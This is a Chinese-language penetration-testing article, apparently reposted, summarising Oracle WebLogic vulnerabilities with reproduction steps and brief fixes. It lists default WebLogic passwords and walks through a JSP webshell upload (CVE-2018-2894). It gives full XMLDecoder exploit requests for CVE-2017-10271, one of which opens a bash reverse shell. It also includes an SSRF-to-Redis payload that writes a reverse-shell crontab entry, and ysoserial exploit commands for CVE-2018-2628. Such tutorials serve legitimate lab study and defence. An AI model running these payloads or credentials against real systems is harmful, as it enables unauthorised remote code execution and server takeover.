[WEB安全]Weblogic漏洞總結


0x01 Weblogic簡介

1.1 敘述

Weblogic是美國Oracle公司出品的一個應用服務器(application server),確切的說是一個基於Java EE架構的中間件,是用於開發、集成、部署和管理大型分布式Web應用、網絡應用和 數據庫應用的Java應用服務器。
Weblogic將Java的動態功能和Java Enterprise標准的安全性引入大型網絡應用的開發、集成、部署和管理之中,是商業市場上主要的Java(Java EE)應用服務器軟件之一,也是世界上第一個成功商業化的Java EE應用服務器,具有可擴展性、快速開發、靈活、可靠等優勢。
在功能性上,Weblogic是Java EE的全能應用服務器,包括EJB 、JSP、servlet、JMS等,是商業軟件里排名第一的容器(JSP、servlet、EJB等),並提供其他工具(例如Java編輯器),因此也是一個綜合的開發及運行環境。
在擴展性上,Weblogic Server憑借其出色的群集技術,擁有處理關鍵Web應用系統問題所需的性能、可擴展性和高可用性。Weblogic Server既實現了網頁群集,也實現了EJB組件群集,而且不需要任何專門的硬件或操作系統支持。網頁群集可以實現透明的復制、負載平衡以及表示內容容錯。無論是網頁群集,還是組件群集,對於電子商務解決方案所要求的可擴展性和可用性都是至關重要的。
目前Weblogic在全球的使用量也占居前列,據統計,在全球范圍內對互聯網開放Weblogic服務的資產數量多達35382台,美國和中國的Weblogic的使用量接近Weblogic總使用量的70%,其中歸屬中國地區的資產數量為10562台。

1.2 Weblogic活躍的幾個較新版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3

Weblogic常用端口:7001

Weblogic后台登錄地址:
輸入 http://your-ip:7001/console 即可進入后台

1.3 Weblogic歷史漏洞

#控制台路徑泄露 
Weakpassword 

#SSRF: 
CVE-2014-4210 

#JAVA反序列化:
CVE-2015-4852 
CVE-2016-0638 
CVE-2016-3510 
CVE-2017-3248 
CVE-2018-2628 
CVE-2018-2893 

#任意文件上傳 
CVE-2018-2894 

#XMLDecoder反序列化: 
CVE-2017-10271 
CVE-2017-3506

1.4 復現漏洞簡要描述

#weakpassword:

Weblogic存在管理后台,通過賬號密碼登錄,由於管理員的疏忽,經常會使用弱口令,或者默認的賬戶名密碼。因此存在弱口令爆破的風險。
在本環境下模擬了一個真實的weblogic環境,其后台存在一個弱口令,並且前台存在任意文件讀取漏洞。分別通過這兩種漏洞,模擬對weblogic場景的滲透。
#SSRF漏洞(CVE-2014-4210):

Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而可以攻擊內網中redis、fastcgi等脆弱組件。
#任意文件上傳漏洞(CVE-2018-2894):

Oracle 7月更新中,修復了Weblogic Web Service Test Page中一處任意文件上傳漏洞,Web Service Test Page 在“生產模式”下默認不開啟,所以該漏洞有一定限制。利用該漏洞,可以上傳任意jsp文件,進而獲取服務器權限。
#XML Decoder反序列化漏洞(CVE-2017-10271):

Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。
#Java反序列化漏洞(CVE-2018-2628):

Oracle 2018年4月補丁中,修復了Weblogic Server WLS Core Components中出現的一個反序列化漏洞(CVE-2018-2628),該漏洞通過t3協議觸發,可導致未授權的用戶在遠程服務器執行任意命令。

0x02 Weblogic弱口令漏洞

2.1 后台登錄地址

輸入 http://your-ip:7001/console 即可進入后台

2.2 Weblogic常見弱口令總結

system:password		weblogic:weblogic		admin:secruity
joe:password		mary:password		system:sercurity
wlcsystem: wlcsystem		weblogic:Oracle@123

https://cirt.net/passwords?criteria=weblogic

0x03 任意文件上傳漏洞(CVE-2018-2894)

3.1 涉及版本

10.3.6,12.1.3
12.2.1.2,12.2.1.3

復現步驟:
1、進入后台:
勾選在base_domain下的“高級”下的“啟用web服務測試頁”這個選項,最后點擊保存

2、進入未經授權的上傳界面:http://your-ip/ws_utc/config.do

3、將“通用”下的“當前工作目錄”路徑設置為:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

設置該目錄的目的:
將目錄設置為ws_utc應用的靜態文件css目錄,訪問這個目錄是無需權限的

4、開始上傳木馬:
進入“安全”,點擊“添加”,點擊“瀏覽…”,選擇你要上傳的jsp木馬,點擊“提交”,成功上傳jsp木馬

5、按鍵“F12”,選中上傳文件名元素,該標簽下有個id元素(時間戳id,下面會用到),復制它。

6、上傳木馬的訪問路徑:

http://your-ip:7001/ws_utc/css/config/keystore/[時間戳id]_[文件名]

3.2 如何防御及修復

1.設置Config.do頁面登錄授權后訪問;
2.IPS等防御產品可以加入相應的特征;
3.升級到官方最新版本

0x04 XML Decoder反序列化漏洞(CVE-2017-10271)

4.1 涉及版本

10.3.6.0,12.1.3.0.0,12.2.1.1.0

4.2 漏洞地址

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

4.3 檢測是否存在漏洞

工具利用 --- XML反序列化漏洞檢查工具
腳本利用 --- CVE-2017-10271-poc.py
Burp抓包傳入數據驗證

工具利用 --- XML反序列化漏洞檢查工具

腳本利用 --- CVE-2017-10271-poc.py

(1)或者自行檢測頁面是否能夠寫入文件,打開漏洞地址,本次實例為:

http://your-ip:7001/wls-wsat/CoordinatorPortType

(2)使用Burp抓包,將其轉發到“Repeater”模塊下,將GET變為POST,改成poc數據包,點擊Go按鈕

POC:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println">
<string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

(3)效果頁面:
訪問地址為:http://your-ip:7001/bea_wls_internal/test.jsp

4.4 反彈一個shell

(1)nc監聽本地端口:

nc -l -p 7089

(2)通過Burp,自行更改數據包,exp改為反彈shell的命令:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: IP:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.206.132/7089 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

(3)效果圖:

4.5 如何防御與修復

1.臨時解決方案
根據攻擊者利用POC分析發現所利用的為wls-wsat組件的CoordinatorPortType接口,若Weblogic服務器集群中未應用此組件,建議臨時備份后將此組件刪除,當形成防護能力后,再進行恢復。

根據實際環境路徑,刪除WebLogic wls-wsat組件:

rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重啟Weblogic域控制器服務:
DOMAIN_NAME/bin/stopWeblogic.sh           #停止服務
DOMAIN_NAME/bin/startManagedWebLogic.sh    #啟動服務
刪除以上文件之后,需重啟WebLogic。確認http://weblogic_ip/wls-wsat/ 是否為404頁面

2.官方補丁修復

前往Oracle官網下載10月份所提供的安全補丁
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

升級過程可參考:
http://blog.csdn.net/qqlifu/article/details/49423839

0x05 Weblogic-SSRF漏洞(CVE-2014-4210)

5.1 簡介

SSRF(Server-Side Request Forgery),服務端請求偽造,是一種由攻擊者構造形成由服務端發起請求的一個漏洞,一般情況下,SSRF攻擊的目標是從外部網絡無法訪問的內部系統。

5.2 SSRF危害以及可實現的攻擊行為

  • 主機上本地敏感信息讀取,對外網服務器所在的內網的本地端口進行掃描,獲取服務的Banner信息
  • 攻擊運行在內外網主機的應用程序
  • 通過訪問默認文件對內網Web應用進行指紋識別
  • 攻擊內外網的Web應用,主要是使用GET參數就可以實現攻擊
  • 利用file協議讀取本地文件

5.3 涉及版本

10.0.2,	10.3.6

5.4 漏洞地址

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

5.5 檢測是否存在漏洞

使用腳本簡單探測:ssrf-poc_simple.py(基於python3.x)

手工進行簡單檢測,在漏洞地址處,點擊Search按鈕,返回:“An error has occurred”

可從漏洞頁面下的Setup UDDI Explorer處發現內網地址

如果不顯示,可以使用腳本猜測。“ip_detect.py”:python ip_detect.py --url 目標地址(基於python2.x)

內網地址(可自行按需更改):

10.0.0.0 ~ 10.255.255.255,
172.16.0.0 ~ 172.31.255.255 
192.168.0.0 ~ 192.168.255.255

開始手工進行內網探測,打開漏洞頁面后,通過Search,產生數據包:

對operator參數進行修改數據:

觀察現象,根據探測結果進行簡要分析:

  • 主機存活且端口存在

  • 不存在的端口或IP地址

  • 可訪問的端口(且該端口是非http協議)

5.6 模擬攻擊

現在模擬內網中存在一台Redis,我們來對他進行攻擊:

在前面的探測,我們已經知道了目標系統內網地址存活狀態,並發現了一個6379端口主機,根據經驗,該端口下的服務是Redis數據庫。

嘗試“利用注入HTTP頭,來讓Redis反彈shell”:

  • Weblogic的SSRF,在使用GET請求時,可以通過“%0a%0d”(\r\n,換行符),來注入換行符。
  • 某些服務(如Redis)是通過換行符來分隔每條命令
  • 因此可以通過該SSRF攻擊內網中的Redis服務器

根據已知條件,我們可以對這個頁面的數據包做些手腳:

(1)將原本POST傳輸的數據,通過GET方式傳輸

(2)拼接好傳輸的數據后,通過注入換行符,發送三條redis命令,將彈shell腳本寫入/etc/crontab

Redis反彈shell腳本:

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/7089 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

進行url編碼:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

(3)在本地進行端口監聽,同時發送編碼后的payload:

nc -l -p 7089

(4)成功執行:

5.7 如何防御與修復

1.如果業務不需要UDDI功能,就關閉這個功能。可以刪除uddiexporer文件夾,可以可在/weblogicPath/server/lib/uddiexplorer.war解壓后,注釋掉上面的jsp再打包。

2.安裝oracle的更新包。
http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html

0x06 Java反序列化漏洞(CVE-2018-2628)

6.1 Java序列化與Java反序列化

簡介:
Java序列化:即把Java對象轉換為字節序列的過程
Java反序列化:是指把字節序列恢復為Java對象的過程

作用:
序列化與反序列化目的是為了讓Java對象脫離Java運行環境的一種手段,可以有效的實現多平台之間的通信,對象持久化存儲。

6.2 Java反序列化漏洞成因

在上述情況中所說的轉換過程中,出現了漏洞,加之暴露或間接暴露出可反序列化的API,導致用戶可以操作,並傳入數據,或精心構造惡意代碼。

6.3 相關歷史漏洞簡介

#CVE-2015-4852 
Weblogic 直接反序列化 
是基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞 
#CVE-2016-0638 
Weblogic 直接反序列化 
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞 漏洞實為CVE-2015-4852繞過 拜Oracle一直以來的黑名單修復方式所賜 
#CVE-2016-3510 
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞 
#CVE-2017-3248 
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞 屬於Weblogic JRMP反序列化 
#CVE-2018-2628 
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞 屬於 Weblogic JRMP反序列化 
#CVE-2018-2893 
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞 實為CVE-2018-2628繞過 同樣拜Oracle一直以來的黑名單修復方式所賜 屬於Weblogic JRMP反序列化

6.4 涉及版本

10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

6.5 漏洞復現

1.使用“nmap”探測目標信息,是否存在T3協議信息:

nmap –n –v –p 7001 目標地址  --script=weblogic-t3-info

2.使用python腳本進行探測,是否存在漏洞(在Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---0號中,基於python2.x版本)

python weblogic_poc.py 目標地址

3.根據前面探測的信息,我們發現目標存在Java反序列化漏洞,來讓我們進一步攻擊它吧,我們需要使用到“ysoserial”

4.首先使用ysoserial在攻擊機上啟動一個 JRMP server,輸入以下命令:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

[listen port]:攻擊機要監聽的端口
[command]:想要執行的命令

5.開始使用44553.py腳本來向目標發送數據包(基於python2.x)

python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

[victim ip]:目標weblogic的IP
[victim port]:目標weblogic的端口
[path to ysoserial] :ysoserial的路徑
[JRMPListener ip] :第一步中啟動JRMP Server的IP地址
 [JRMPListener port] :第一步中啟動JRMP Server的I端口地址
[JRMPClient]:執行JRMPClient的類,可選的值是JRMPClient或JRMPClient2

6.6 如何防御與修復

參考鏈接:

http://www.talkwithtrend.com/Article/178555

0x07 參考鏈接

http://www.talkwithtrend.com/Article/178555
http://www.storysec.com/kali-linux-install-docker.html
https://github.com/Medicean/VulApps
https://www.kingkk.com/2018/09/weblogic%E6%BC%8F%E6%B4%9E%E7%BB%83%E4%B9%A0/
https://xz.aliyun.com/t/140
https://www.jianshu.com/p/08710cfde0f0
https://www.secpulse.com/archives/38967.html
https://github.com/rabbitmask/WeblogicScan
http://www.admintony.com/CVE-2018-2628-WebLogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.html
https://www.jianshu.com/p/42a3bb2b2c2c
https://github.com/k8gege/K8tools


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM